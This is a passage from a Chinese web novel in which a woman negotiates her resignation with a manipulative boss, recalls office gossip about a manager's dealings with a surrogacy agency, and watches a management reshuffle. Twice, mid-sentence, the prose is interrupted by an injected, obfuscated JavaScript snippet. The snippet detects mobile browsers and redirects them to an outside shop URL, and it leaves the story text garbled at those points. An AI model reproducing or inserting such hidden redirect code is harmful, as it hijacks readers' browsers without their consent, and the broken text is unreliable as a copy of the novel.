诗诗哪里敢立即进去,连忙和大家立即缠着娜娜问老板和她说什么了。她说老板没说什么,就是问她来了这么久感觉团队怎么样,然后说要给她涨工资,她当然很开心啊。她是实习生,还没毕业呢,所以给的是实习工资,这涨工资又交社保的,是给她转正了。 诗诗这才放心进去了,接着就是直播团队的人陆续都一一叫去了,个个出来都说没说什么,就是鼓励他们好好干。最后一个去的是L总监,一去不回。 我估摸是W总裁和他谈了之后,又和另一个办公室的L总谈,还有会计呢。等这些都谈完了,总能到我了吧。到我那就能好好说辞职的事情了,她也不用继续装瞎不回消息了。 果然,最后是L总神情莫辨来叫的我。 一直都是让会计来叫人,突然换了L总,老板这可能还想着协调下我俩矛盾吧。她的心思我看得清楚。在她看来,我应该和L总这些人有直接的冲突,面上全都过不去了,所以他们才会这样拼命地要搞我下位。而今矛盾太深,不利于她项目运转发财,都是她的左膀右臂,她当然必须牵头协调搞好关系了,我俩才好配合工作给她赚钱啊。 我原以为L总会和我一起进她办公室,两人都在,她才好各打五十大板,各赏一颗甜枣嘛。 结果到了办公室门口,我进了屋,L总说了声“那我关门了”,便拉上了老板办公室的门自己退出去了。 W总裁正在她那装了Windows系统的苹果本后面坐着,把手机抬到嘴边回复消息,给他点个头抽空看了我一眼就继续发语音。 我也不用她招呼,自若地在离她最远的沙发和她对面坐下。耐心等她假装的忙碌,终归我不会先开口。 8. 为了谁辞职 W总裁终于回完了信息,放下手机却打量了我半天不说话。我也没躲避她的视线,看着她等她说话。 她看着我叹了几口气,几次欲言又止后,突然来一句:“你真的不打算找对象结婚吗?” 谁懂,我真的觉得这事儿太好笑了。 我是来辞职的老板,怎么她好像还停留在把我撤职前为了黄谣试探我的阶段?我觉得这个时候我和她开玩笑她都会当真的吧。 于是我说:“LYX要娶我吗?我怎么不知道。”这是我挺喜欢的一个男明星,我很少发的朋友圈会偶尔发发他新剧的宣传,大家都知道。因为他的剧联名奶茶,我会给所有人都点,大家问我我也坦然承认。 她摆摆手说:“你别开玩笑了。” 我寻思她这不是挺明白的吗?我那朋友圈她还点赞呢,我给大家买奶茶大家发了朋友圈,她还跟里面评论说:M总追男人你们享福。 我懒得和她开玩笑了,就说:“我不喜欢男人,我只喜欢LYX。”还是那个男明星,我这是心里话。 前面的玩笑她没听懂,这里说正经的她倒是觉得我在开玩笑了,说:“那你是说LYX不是男人吗?” 我真的是没招儿了!就是谁懂啊,代沟真的是无法逾越的!她不懂我的梗,我也不想教她跟上时代。而且,我们该重点沟通的难道不是我辞职这个事情吗。 我沉默不回答她了,于是我又听到她说:“你要辞职是不是因为Y表弟?” 我撩眼皮看她一眼,果然见她正全神贯注盯着我,一脸你只要有一丝信息透露都能被我捕捉到的样子。此刻她一定觉得她就是那孙悟空,她的招子就是火眼金睛。 不er???我真的很想说:你觉得你的表弟很优秀吗?他是人民币吗?谁都要喜欢他?而且,你自己不也不喜欢他吗,不也跟他公事公办说开就开吗?咋好像你这里是个男人都这么稀罕啊! 真的不要太离谱了家人们。 她再继续说这种东西,我连话都不想和她说了!我这都决定辞职了,谁还管她表弟堂弟弟中弟啊?别说我不在乎她相信了我和她表弟搞办公室恋情的谣言,她就是相信我把她表弟包养了都行!爱咋咋! “不是。”我板着脸简单说。 她明显松了口气,但还是将信将疑地问:“你真的不是因为我把他开了,你心里不舒服才要辞职吗?” 我连回答都懒了。 她又找出一个她认为可能正确的猜测,问:“那你是找好下家了?” 我摇头。看着桌上的刺绣小屏风开始研究上面的花线配色。 她不知道信不信,反正我听见她又说:“你好好跟我干,别东想西想的,咱们一起赚大钱发大财。到时候你要什么男人没有?那个LYX你想睡我都可以给你搞过来!” 话说得真大,也不怕闪了舌头。我转移视线去研究那盆蝴蝶兰。 性缘脑和竞缘脑的思维回路,隔着一整个宇宙。我确信! 她拆了一袋选品上来的小辣条津津有味吃起来,“嗯,这辣条好吃,你尝过没?” 我不想和她再废话了,我说:“我发的辞职消息您看到了吧?我是真的要辞职,您觉得没什么问题的话,就安排人和我交接工作吧,别耽误了您和L总的工会的大项目。” 她听了一愣,扔下那包小辣条,生起气来:“你知道你这一闹给我整了多大的事吗?” 哦哟,可算要发飙了啊。我老神在在的等着。 结果她话锋一转,“我为了你,把所有人都骂了一遍。我已经和L总说了,明天就把他撤职。这些人根本不知道你对我多重要,居然敢欺负你!会计也是,我这么重要一个人要辞职,她不想着给我留住你,还跑来问我要不要给你算赔偿金!” 哈?这跟我有什么关系,我不需要也没叫你去骂别人啊。何况这个时候了这样假惺惺的样子有什么意义,当时我被造黄谣你相信的时候可不是这副面孔呢。 虽然她这番话我也觉得很炸裂。不知道的怕还要以为她是同,对我有意思呢。但是我确信她不是,而且她非常性缘脑。她日常的言行中都能看出来,她觉得女人就是不如男人的,哪怕她自己。她认为她在女人中是独特的是突出的,因为她自己说过,她兼具了男人的理智和女人的细腻,所以她才会这样厉害。 说起来,她也说过我的思维逻辑也像男人。可能她觉得是在夸奖我吧。可惜我不喜欢她这种认知,我当场反驳过她:女人天生也有缜密理智的思维。不过她并不认同,坚持说我可能生错性别了,外在是女人,内里是个男人的灵魂。 我白眼。什么时候我竟有性别认知障碍了?什么时候我身为女人还讨厌自己是个女人了?土皇帝就是觉得自己什么都对。当然,她还认为我的优秀和她还相差很多,所以我还需要她多多指导提拔。 思想不在一个水平的人,没法交流。总之随便她扯东拉西,我无所谓,她骂谁处理谁,跟我有什么关系?我得到了什么实际的好处吗?并没有。我需要她为我伸张正义吗?我不需要。 我不接茬,她也继续不下去,转而问我:“你觉得公司的人都怎么样?” 又来了,村口八卦打小报告那一套,我以前不做,难道她觉得我现在会为了她这迟来的正义去做吗? 我们也算共事三年了,虽然她是作为老板,但从她的言行举止以及我了解到的一些背景,我看得明白她这个人。先前我们为了谈下官媒时可以说是短暂做过一段时间知心朋友,我更加看透她。 她有一点点热心,也有一些些想为社会做贡献,但这都建立在她能获利且获大利的基础上。当然,这是建立在我们的这个项目是要和官媒事业单位合作的基础上,公家单位需要正面和政绩,她这些表现无非是为了迎合官媒喜好。 而实际上,她的本质就是一个彻头彻尾的商人。损人利己的事情,才是她经常干的。同时她又深受传统封建思想的荼毒,简单的资本逐利原则她并不会总是遵守,尤其在能够享受封建权力地位时,哪怕赔本她也会愿意花钱享受。 我可以拍着胸脯说,她的一切心理动机和行为逻辑我都清楚,她这个人我都很了解。而显然,我们一起打拼了这个项目,她却她一点也不了解我。当然,她一个上位者并没有了解我这个下位者的必要。她当然也不会觉得,自己会因为这样的轻忽,受到一些教训。 我看着她期待八卦的眼神,觉得真是腻味极了。 我不想评价任何人,也无所谓报复这些小卡拉米,“都挺好的。”我说。 她对我的回答很失望,来了一句:“你还觉得他们都挺好?你不知道他们都跑来跟我打你的小报告,都怎么说你的!” 她还是这样无知,她以为我会追问,这样她就可以和我展开聊起来,然后卸下我裹上钢铁的心防,再次和她回到当初讨论项目时知无不言言无不尽的状态。 我知道黄谣消息的时候没想过找她对峙,没想到找任何人对峙,眼下更不会因为她捅破这层窗户纸了就要追根究底。力证的清白算什么清白,我本清白,不用任何人盖章认可。别说这些人本就是为了诬赖,指鹿为马。 这会儿她别说他们造我谣,她就是说他们夸我,我也没兴趣知道怎么夸的我。 反正吧,我沉默以对,没什么表示。 过了会儿,她叹了几口气,再次开始令我疑惑的言行,“你不知道一个女人独自创业,有多艰辛和不容易。这些年我一个女人拖家带口风里来雨里去的打拼,我老公又是个废物。别说跟我出来做生意应酬周旋了,就连在家带娃做家庭煮夫他都不合格,还得我雇个保姆洗衣做饭照顾他和孩子……工作上我自己一个人做决策也是这么为难,想着大家都好,哪一个都是跟了我很久的,伤了感情都不好……” 说实话,我是佩服她的,她说的这些情况,我呆公司几年了也了解,这也是我能在这个公司呆这么长的原因。我出身和学历都普普通通,也没进过什么大厂大集团,这些年干过的公司也都是些小微企业,50人以上的都少。W总裁,对比先前那些又老登又烦人的男老板男领导,她自然有女老板独有的细腻、也愿意重用提拔女员工,我敬重她,同为女人我相信我们也更能共情对方的困境。 但是,我没有忘了她和我除了同为女人身陷同样的困境之外,没有其他的相似之处,尤其我是无产阶级而她是资本家。我学经管的,更明白资本和阶级对人的异化有多厉害。 她说了半天看我实在是无动于衷,只好又扯到说她忙得还没吃上饭,所以叫了一堆外卖,让我陪她边吃边聊。 外卖是会计和O女士送进来的,一堆日料,我扫了一眼长长长的外卖单末尾,两千多,大大小小的精致餐盒把她近5平米的大办公桌都摆满了。 她是真的不了解我,哪怕是想用我暂时没有享用能力的美食来攻陷我,都不知道打听下我的爱好和口味,而是想当然的点她以为贵的上档次的东西。 “这家日料可好吃了,从不外送,都是我跟他们老板关系好,才破例的。”她看着那俩一边摆放,一边嘚不嘚给我介绍这桌特权美食。 “我不吃生的。”我淡淡说。 W总的侃侃吹嘘顿住。正摆盘的O女士眼神不善地瞟我一眼,我回她一个扯唇笑。 O女士惯来不太喜欢我,因为我从来不屈服于她的特权,也没有因为她是老板亲婶婶就给她无上的脸面。 她跟我不对付,尤其是每次W总裁在公司接待室宴请朋友时。她是W总裁的内务后勤,自然负责掌厨,她一边自觉地掌勺高人一等,一边又觉得干这些杂活儿不如我们这些牛马体面。自卑又自负那个别扭劲儿就不说了。为了挽回自己被羞辱的脸面,她就要使唤人帮她洗菜洗碗,才能显出她虽然打杂但是是老板亲戚这份特权来。 以前公司没几个人,偶尔我能搭把手就不错了,还得是在我看她几十岁也不容易的怜悯之心上。会计学历不高离了这个公司根本连代账公司都混不下去,为了讨好老板的婶婶,私下里抱怨但当面还是巴巴上去帮她干。 L总嘛?男人家哪能干这些厨房里的杂活儿,O女士嘴上说着他懒,实际也不会使唤他,她们对男人天生有种尊敬。至于她的女儿W堂妹,那怎么可能让人做了美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163814|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲的青葱十指沾了阳春水,她女儿以后可是要嫁豪门做阔太太的。 新项目招人后,最开心的莫过O女士,在她看来,这一群都是随便她使唤的。毕竟老板说了,她可是O总。可惜她算盘响亮,我却不会惯着她。 人是来上班工作的,不是来打杂做家政的,我不可能让手下人给她使唤。这不仅耽误工作,还会让大家心里不满,如果觉得公司太不正规甩手走人,W总裁开的这少得可怜的工资可很难招人的。 我就告诉大家,O总如果叫她们去洗菜洗碗,只管说我安排了工作不能耽误所以没空,直接拒绝她。O女士也不至于真的孤立无援,她女儿W堂妹和L总L总监万分愿意帮她干哄着她高兴。只是她使唤不动人,还叫女儿柔嫩的双手跟自己打杂吃苦了,自然对我十分不满。 她曾和W总裁说很不喜欢我希望开了我,可惜W总裁没听她的,这还指着我做方案谈合作带团队呢。W总裁不顺着她,这只是原因之一,原因之二是身处两个阶级的人怎么可能因为是亲戚就有平等关系。这第二点我看得明白,只当事人似乎还不愿意接受现实。 W总裁是一个老板是一个商人是一个资本家,O女士从带着女儿在她手下讨生活起,她们这对婶侄就不可能是纯粹的亲戚关系了。O女士在W总裁这公司领着和我一样的工资,W总裁让她负责后勤行政以及家中的杂务,她们之间口称亲戚,实则更像是主子和家仆。 这点从她们的女儿身上也能体现。W堂妹对W总裁这个姐姐的女儿是哄着捧着的,虽然小姑娘一口一个小姑姑的喊着她,但她更像是小姑娘的贴身丫鬟,而不是真正的长辈。这道理连O女士自己的言行都能体现。W总裁来公司宴饮招待,领着闺女来玩耍,小姑娘蹦蹦哒哒要跟小姑姑一起上菜觉得好玩,O女士便会喝止她,还要训斥女儿不要叫小公主端茶倒水。 什么叫挺直腰板跪着挣钱,我在O女士和她女儿W堂妹身上看得活灵活现。 O女士以前拿我没办法,现在也拿我没办法。造我黄谣推波助澜把我成功撤职,是她对我出手最成功的唯一巅峰时刻。没能把我直接从公司挤兑走人,他们就已经输得彻底。可惜,他们沉浸在自己上位的胜利喜悦中,全然不知此后皆是下坡路。 我冲她扯唇,她大概没想到我会这样不加掩饰,有些狼狈地移开视线,和会计摆好碗盘后退出去了。 “那你尝尝熟的这些,天妇罗、和牛饭……都很不错,生的也尝试一下,一点也不腥真的很好吃的,你这么爱吃,一定会喜欢上。”W总裁只能故作不在意我不吃生的这回事,热切地招呼我。 两个多小时,她没停下吃也没停下说,说到动情处泪光闪烁,说到愤怒时直拍桌子,我有动容但不多。 “L总啊,他这个人没啥本事,但我就看中他一点,不止是忠心,还有就是他特别有正义感。”见我不信的样子,她立即举例,“别看个子小,看着小男人一个,但比如大街上遇到不公平的事情,所有人都不会站出来,他一定会站出来。” 我无法想象。我只能想到他开着W总裁的宝马7系载着代.孕姐姐来公司坐进老板办公室装逼的样子,无法想象这种企图白嫖的人竟然有这样正义的时候。哦,说起来W总裁还不知道他干的这件事呢,不知道她如果知道会是什么表情? 那是一个下午,闲着没事干的L总一上午都没来公司,后来才知道是W总裁出差,叫他开着自己的宝马7系去送机了。W总裁的司机家里有事请假了,所以暂由L总开车接送她。 送完W总裁的L总并没有立即回来上班,而是去代.孕机构见了自己很满意的一个孕.母姐姐,因他想要人家提供额外床上服务,便要向人家展示自己的实力。比如自己是大公司老板,自己的车驾是豪华7系。如此顺路的事情,他便载着这位姐姐来了公司,叫人家亲眼见见“他的江山”。 我是见他领了个人进门就坐到了老板办公室,还以为是来了客户,虽然心里嘀咕这个“客户”打扮得咋像个家庭主妇,一点也不像女老板,我也没多问。后来我忙着写方案,只知道L总监里里外外又是泡茶水送进去,又是洗水果送进去,满以为真的是客户。 直到我终于改完方案发给W总裁,这才有空接杯水喝喝休息休息。饮水机正对着老板办公室大门呢,门倒是没关,所以这位温柔的姐姐打量我半天,我也打量她半天。平头正脸的一位姐姐,年纪看着和L总以及会计都差不多,就是四十左右的样子。确实怎么看都像是位家庭主妇,就是那种传统的贤妻良母给人的感觉,不像社畜更不像上班工作的人。 L总叉着腰在办公区挨个(没我)关怀了一通工作进度,又挨个指点安排了一通好好干之后,笑眯眯回到W总办公室,没会儿就带着温柔姐姐离开了。 “L总带来的是谁啊?他老婆?”共事几年我确实没见过他老婆,只听O女士说过他老婆很温柔漂亮,这位如果不是他老婆那除此之外我也想不出来是什么身份了。 诗诗闻言神秘地冲我笑,“是他女朋友。” “啥?”我奇怪,“他不是有老婆吗,女朋友又是什么回事?” 9. 因为她善 芳芳被我怪叫逗得噗嗤笑,她旁边的美工挤眉弄眼地和我解惑,“L总监说那是L总的女朋友。他老婆在老家呢怎么可能在这里。” 我活儿忙完了也燃起了八卦之魂,“L总监很了解的样子啊,这女朋友他老婆知道吗?” 美工小哥比我还八卦,“L总监说了,L总老婆生不了,允许他在外面成第二个家的。” 喝,这都知道了?我还以为得我这种三年老员工才会知道呢。 我差点要笑出来,“那这是他第二个家的对象了?不然叫女朋友呢?” “说人家机构给他推荐好多了,不好看的他看不上,好不容易遇到这个满意的了,肯定得成了吧。”美工煞有介事地推论。 “机构?”我抓到了关键词。 “美工你比我们女人还关心这些事儿呢。”诗诗调侃到。 美工得瑟地摇头晃脑,“可不是我自己打听的,是L总监直接给我们说的。” “你们?”我又抓到了关键词,“你们几个男的?这事儿你们不当隐私啊还拿出来讨论?”我感觉我在做男性八卦实录调研。 美工点点头,不以为意,“这有什么不能说的。” 诗诗啧啧啧出声,“男人真是没一个好东西。哦,除了我老公。” 大家都被她逗得哈哈大笑。老板不在,老板出差好几天才会回来,总经理也不在,L总监刚殷勤送马头出去了,运营和W堂妹好像在直播间调设备来着,总之,没有管理层在,办公室里气氛很轻松。 “M姐,你不知道L总的情况吗?”诗诗转向我挖掘更多八卦起来,毕竟现在这群人就我似乎在这公司最有资历了,“瞎听他们说什么女朋友,这个女的是代.孕结构的。L总他老婆你见过吗?真的很漂亮吗?这么漂亮他怎么还要在外面找?他老婆真的生不了吗?会不会是他自己生不了啊?” “噗哈哈哈哈哈哈!”我一个没忍住,果然这种八卦还得是结了婚的女人讨论起来才大胆,娜娜和芳芳两个都只能满眼好奇地愣愣听着。 我笑够了深呼吸顺气,我摇摇头,“不知道,我来这么久还没有见过他老婆。不过你们听说的这些我也有听说,O女士说的,别的我也不知道了。” 大家没听到我说更多八卦顿觉无味,美工还不忘拍我个马屁,“M姐就是格局跟我们不一样,眼里只有大事!” L总开着老板的车坐着老板的办公室,只为在他的孕.母跟前装逼,这事儿我也不准备给W总裁说,毕竟我理解不了性缘脑的脑回路。要知道她是支持L总在外面找人生个孩子传宗接代的,共事的几年里,他们有幸在我跟前讨论过这事儿。 眼下不过是L总想骗一个孕.母姐姐而已,说不好W总裁照样鼎力支持的,这车啊办公室啊,都是身外之物,支持得起。比起让她去帮L总生一个这样损伤极大的事情,都是小case而已。 不过这时我想起来这事儿还在扼腕,当时我应该早点问诗诗和美工几人,要是在那位姐姐被L总带走之前,我少不得要告诉她真相。已经到了出卖自己身体和卵子的程度了,不知道过的是什么日子,要是这单真被L总骗了,这损失太巨大了。 据说这个市场,不用见面不用贡献身体的交易都要几十万,别说她这和雇主见了面做“女朋友”还得生的,到时候L总几万块都拿不出,她可怎么办。 不是我危言耸听。要知道会计当时拒绝了L总,不仅是因为她要找一个京市本地的,把儿子和自己一起嫁过去飞升。更是因为,L总开出来的条件实在太低太没眼看了。 会计十多岁就结婚生了孩子,后来感情不和离了婚,报班学了会计,在小地方熬了好些年之后,决心来京闯荡,也是她运气好,就碰上了W总裁招聘会计,便来到她手下。因生的时候年轻恢复得好,又离得早没受什么婚姻摧残,这些年一人带娃也把日子过起来了,除了养孩子就是养好自己,因此保养打扮也用心,比同龄人至少年轻五岁。 L总和她同龄,倒像比她老十岁,看上她好样貌便叫O女士来说和:在京市和她安第二个家,除了不能领证不能带回老家,在这外面带她进出待客都是当大的介绍。一起生个孩子无论男女都可以,也是高龄产妇了不为难她一定要生出儿子为止。另外每个月给一万。 这便是L总让O女士来传递的绝佳条件,叫他俩只管好好成了一对就行。会计和我说,O女士跟她讲的时候还强调,如此优厚的条件不好找了,十分姐妹俩走心地劝她要珍惜。 我不知道会计是什么心情,当时我才来公司一年不到,会计十分关照我这个和她一样的底层小员工,八卦无处可聊,便天天扒拉着我啥都聊。我也十分喜爱这个八卦的大姐姐,听了这个事儿当场气得想替她大骂这不要脸的L总和O女士,也不看看自己什么样,还想骗人家一个有能力养活自己和儿子的好女人。 会计听我如此仗义执言,便也说,一个月一万还没她现在工资多,她有病才上赶着去做L总的外室伺候他还给他生娃。但她到底也没跟L总划清界限,倒比较享受L总眼睛围着她转的感觉。每每她踩上七厘米细高跟,换一身新裙子,L总那招子便一天粘她身上,两人不时还开几句荤笑话,也不避着我,只当我一个未婚姑娘听不懂。 L总对会计开出的优渥条件都不过一个月一万块家用,这位机构的姐姐,不可能是奔着来找个这样的真爱成第二个家的吧。只怕要被L总骗得人财两失。 我想着下次如果这个姐姐还来我得告诉她这个情况。可惜她到底没再来,L总也没再带过什么女朋友来公司。倒是如常和会计开着玩笑。尤其他春风得意的这几个月,经常要跟会计坐一起商量公司管理大计,大家都是地位相当的高管,说不得在这谋划中又发现了对方更多的优点,感情又有加深。 总之一起造黄谣害我的时候,应该是感情相当好的,又统一战线对付打压我,至少是亲密的战友了。 说来,老板该是很忌讳他俩亲密的才对。这不是危言耸听。会计自己和我说过,还是这件成第二个家的事情,她坚决不和L总进一步发展的最关键原因,是因为老板发现她和L总说话亲近还走得近后,警告她记住她的本职工作,那可是老板的财政机密,连老板的老公都不能泄露分毫更别说L总这个外人。 想起来昨天和会计说辞职的时候,她强调她自己没有参与,在老板问她的时候她都坚决说不相信也不知道,这话应是真的。她背地做了是一回事,当面绝对是不能说的,这要是说了岂不是承认她和L总几人穿一条裤子搞我,老板必生猜忌。 啊,什么叫庙小妖风大,这就是了!不到二十人的公司,戏可一点也不小。这些人都该送进宫斗剧去,斗朝堂斗后妃,他们可太爱了。 W总裁在忆往昔她想象中的L总,试图勾起我对这种“优质”男人的怜爱共鸣,我却想起了他这样多的糟烂阴私事儿,她要是知道可能就无法这样跟我忆往昔了。 不过看戏嘛,要尊重角色的表演,我看着就是。 说完了L总,她又转去说L总监,“他这个人是没什么本事,也没什么用,他跟我汇报那些工作都是瞎编瞎吹瞒不了我这火眼金睛。不过嘛,他倒是很会拍马屁哄我开心把我捧得高高的。你要理解一下,他一辈子一事无成,这都五十多了快退休的年纪了,还要为了这口饭辛苦讨好我求我赏一口饭吃,也是不容易的。咱们做人啊,得善良……” 我挺诧异,她是觉着我看不明白这事儿,所以试图给我分析人性教我看人,好让我佩服她从而“再次”心悦诚服她?她该不会以为我之前那么为项目拼命,是因为心悦诚服于她吧? 我百无聊赖地想。 不过,她这样善良,为什么就不能好好做好这个项目,去帮助更多需要扶贫的地方的农民销售农产品呢?为什么不能好好经营公司承担更大的社会责任,回馈社会呢? 比起她特地请一尊玉观音天天焚香供奉,比起她施舍一个老头一万块工资养到退休,比起她呵护一个“老实”男人没影子的正义感……这样看似行小善实则没有意义甚至助纣为虐的事情她都愿意做,那我们的事业做好了不更能给她积大德! 我理解不了伪善资本家的脑回路和逻辑,和理解不了同样出自她的这颗性缘脑一样。 不过,她倒是可能有点理解我了。因为她说了那么久,我还是丝毫不为所动。无论是共情她发现L总这些人闪光点,还是共鸣于她无私博大的爱。 放下筷子的时候,她重重叹了一口气,然后落寞地问,“我是不是就真的留不住你了?” 这画风转变太快了,小金人可以颁发给她。 她急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163815|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切说,“只要你愿意留下,无论我这公司还开不开,我这里还有没有项目做,我都愿意养着你。没活儿干也照样给你发工资,你可以安心跟我干到退休。” 杀手锏就这?? 她该不会“收服”L总L总监X会计这些人的时候,也是用的这招吧?因为他们听了都十分受用立即表忠心,并天天好言好语卑躬屈膝,显得这杀手锏效果十分好,故而叫她对这招这么自信? 我摇头。 “你——”她几欲生气,到底出口又收了回去,然后便是沉默伤怀。 看来这还真的是最后杀手锏啊。 我看这话也说完了,饭也吃完了,我该主动一次,就结束这场闹剧吧。 我刚准备起身,还没开口,就见她猛然就从我对面站起来。唉声叹气、身躯沉重又佝偻地挪到了旁边的按摩椅,慢慢回身坐下启动。 实不相瞒,我也是第一次近距离见到这样扣书般的生活化演技。我喜欢的那小明星不算,屏幕离我近但他距离我太远。 “你别走,最后就陪我就这么坐会儿吧。坐沙发上舒服点。”我听见她说。 这……我看了眼桌上的红盒子,16:47,行吧,就坐到下班结束。 “某猫精灵,播放乌兰巴托的夜。”她叫醒了那红孩子。 得,没放她爱听的般若波罗蜜多心经就好,不然我会以为她要超度,不,感化我。 然而很快我发现事情没这么简单,我社会经验还是浅了,这歌也洗涤灵魂的能力也不比那经文浅。尤其她循环播放,还开始抽纸擦眼泪之后。 我承认,我混社会的经验浅了,对女人的心也不够硬。 她这番作态,简直和我妈搞不定我的时候一模一样。就是不说话,只拿流泪的眼睛一眼一眼看你,西里呼噜地一张接一张纸巾擦鼻涕,就是给你装可怜,仿佛全世界都抛弃了她一样! 于是我变得像我爸一样,开始坐立难安,开始反思问题。这一刻,我甚至几乎要接受她曾表达的观点,我生错了性别我内里其实是个男人。 说到这个,我要再次抨击对这个扭曲的社会,为什么要规训女人不让女人强硬,为什么要迫害男人不让男人脆弱。 总之,我从入司反思到了辞职,从个人反思到了社会……最终,我只能勉强接受一个理由,昨天我立即提辞职确实是有些冲动的,L总和L总监那态度是那样恶心人啊,不然我为了大直播项目落地的初心也还能忍一忍不是。 我无法拒绝一个默默流泪的女人,哪怕这个女人迫害过我。 ——我用沉默告诉你—— ——我不回头—— 终于,乌兰巴托的夜唱到了这一句,我看那时间已经是17:56。 我站起来说:“我会把手上没写完的方案写完再走,但是不包括L总那个某工会,也不会再去写别的新的,更不会管别人或者别的事情。” 她立即直起身来,高兴得直说:“没事没事,你想怎么样就怎么样,只要和我配合就好,不用管任何人。” 好像生怕我觉得这样的话还不够,又说:“他们那些人都怕我,都害怕被我开了。他们都是不愿意离开我离开这个公司的。你放心,我说东他们不敢往西。” 我真的无语,这个时候她就别自恋了好吗? 我知道她是故意忽略我说还是会走的事情,但反正我自己没忘。只是这公司根本没人能接下我手里的工作,我一旦走了,那些写一半的方案就烂尾了,那也是她自己喝酒招待才谈来的几个大单位的合作。 我的心软仅此一次,反正我写完了就走,我有始有终无愧于心就行。 从她办公室出来,我看着人去楼空的办公室,险些忘了我是什么情况才进去的。我看了眼手机,00分,大家下班的速度一如既往的光速。 我提了辞职就根本没在工作,拷贝文档的U盘插上的时候提示需要五个小时,我点亮屏幕,已经好了,90G的新内存也显示红条。我拔了U盘关机拎包下班。 在门口假装悠闲来回踱步的L总探头探脑看过来,正好跟我打个照面。大家都走了没人过问我谈得怎么样,我自己心里担子放下了也抛诸脑后,眼下见了L总才想起。 比起我,这里还有好几个人,比我本人还期待我谈话的结果。 10. 又黄一个 跟我对视一下,他脸上竟还不好意思地浮红了。 我不以为意地准备忽视他,不想他一改之前那副严厉的领导姿态,笑眯眯地迎着我走上来,“M总这是要下班了?” 什么叫没话找话?这不是很明显吗,我说:“嗯。” 我出口的话音未落,他像生怕我不回答似的,连忙说:“大家把选品来的那些烤肠啊鸭脖啊饺子的做了大餐,一起聚个餐,一起吃吧。” 我皱眉正待拒绝,就见O女士也从备餐厨房探出头来,热情招呼我:“小M快来一起吃饭啊,大家都在呢!” 那屋根本没啥动静,也没人出来,我估摸十有八九就是他几个一条裤子的在里面聚餐呢。我要是此刻过去看一看,造黄谣小组核心成员应该都在。 不过我以前没这个兴趣,现在也没有,“不了,刚和老板吃过了。” 下楼的时候,远远看到园区大门骑车出去的诗诗娜娜芳芳美工等人。三年来,下得最轻松心里最不惦记事儿的一个班。 第二天一早,投资人来了个大早开全体会。会上又是一通任免。 L总卸任直播项目总经理继续去搞做网店总经理盯代运营。W堂妹任直播总经理,运营升职任直播总监。强调虽只是总监,但掌运营实权,要负全责,并且要把堂妹带出来。 新任运营总监挺开心的,升职哪能不开心呢?不过这任职说明一听就知道不是简单差事,而且塞了个拖后腿的,是我可开心不起来。哪像他,会后就和W堂妹肝胆相照起来,摆起领导范儿拉了直播团队去会议室关起门开会,那放手大干的样子仿佛封建朝廷推行新政。 W堂妹这个实名总经理,不见一丝被架空的担忧,像个孩子似的开怀,跟他的命令忙进忙出。我都要忘了,她可不就还是孩子吗?刚拿了毕业证,说是在姐姐这公司轮岗实习了一年多,实则恐怕还不如呆了三四个月就被扫地出门的Y表弟学会的多。 说起来前两天Y表弟还和我说已经找到了新公司,在一个五六人的小直播团队干中控,团队小但人运行正规,不过才开始运营半年,营业额已经累计有七八十万了。 可见踏实干活的人,到底是有真收获的。只W堂妹这个小姑娘,在她姐姐和妈妈的羽翼下,不知道要什么时候才会明白这个道理。她要是真能和那个小开成了嫁入豪门直接做阔太就美滋滋了,不用吃工作的苦,生活和婚姻的苦幸运的话也不用吃。但要是嫁不成,往后还有好多生活和工作的苦头等着要吃呢。 我看着在她旁边激动兴奋红光满面的运营,有种诡异的熟悉感,这神色简直和两三个月前上位的L总如出一辙啊! 真是想不到啊想不到,我以为会计已经藏得够深了,没想到运营藏得更深,造我黄谣这主力,他看来也是举足轻重。 我恍然想起入司一个月之后,他运营自播账号毫无起色,但再次找我谈涨薪。 我用数据说话,粉丝量,一个月涨了二十个粉丝,公司的人十四个,其他六个是他老婆、他哥们儿、诗诗老公、娜娜的室友、美工的女朋友、Y表弟的女朋友。哦,不对,现在还少了两个,Y表弟和他的女朋友,他被辞退走人之后取关了。销售额,刷单GMV十万,退款GMV十万。也许也没有十万,我刷了一单货不对板的干脆面,和一箱椰汁,就直接吃了喝了也没退。 总之这无论是粉丝量还是销售额都不达标,怎么可能涨薪呢?我拒绝了他,叫他再做一个月来看。有一说一,再不出成果我就要考虑换运营了。 看来,我和他的梁子早结下了。L总上位后,他俩立即勾肩搭背忘年交,又立即招了一个中控来全权为他打下手,那会儿我就早该想到的。只是我还没能学会以最坏的恶意揣测人。 眼下我倒也没想着要拆穿他或者怎么样,讲真的,我还真的期待能看到他几分运营的真本事。 我上位的时候高压之下他没使出来,L总上位的时候无压之下他也没使出来,如今他自己上位了,总该有实质压到他头上的压力了吧,俗话说压力也是动力,他不必担心做出来的功劳被谁窃取了,总该使出真本事了。 只是,他可别让我看了大笑话呢!毕竟他们这几人,你方唱罢我登场,好起来穿一条裤子,不好的时候估计就是互相使绊子下刀子。我希望他抓紧,我在这公司也呆不了多久了,但愿我走之前能看到他登场的这出精彩大戏落幕。 总而言之,这次会议结束,新的管理层又诞生了。有意思,这高管团队也跟我的黄谣主力军契合。其他或许还有人被误导的或许是自愿推波助澜的,不过我也无所谓去深究。 新高管团队,除了稳居第一不可逾越的W总裁,另外W堂妹、运营总监、O女士、L总、L总监以及会计属于第二梯队高管,老板嘱咐他们几人干活要有商有量,别再拉跨。 